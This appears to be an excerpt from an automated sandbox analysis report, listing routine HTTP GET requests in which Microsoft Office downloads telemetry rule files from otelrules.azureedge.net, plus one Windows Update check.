Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TyDlpBOuBMC4KnB&MD=cRlZhfaz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
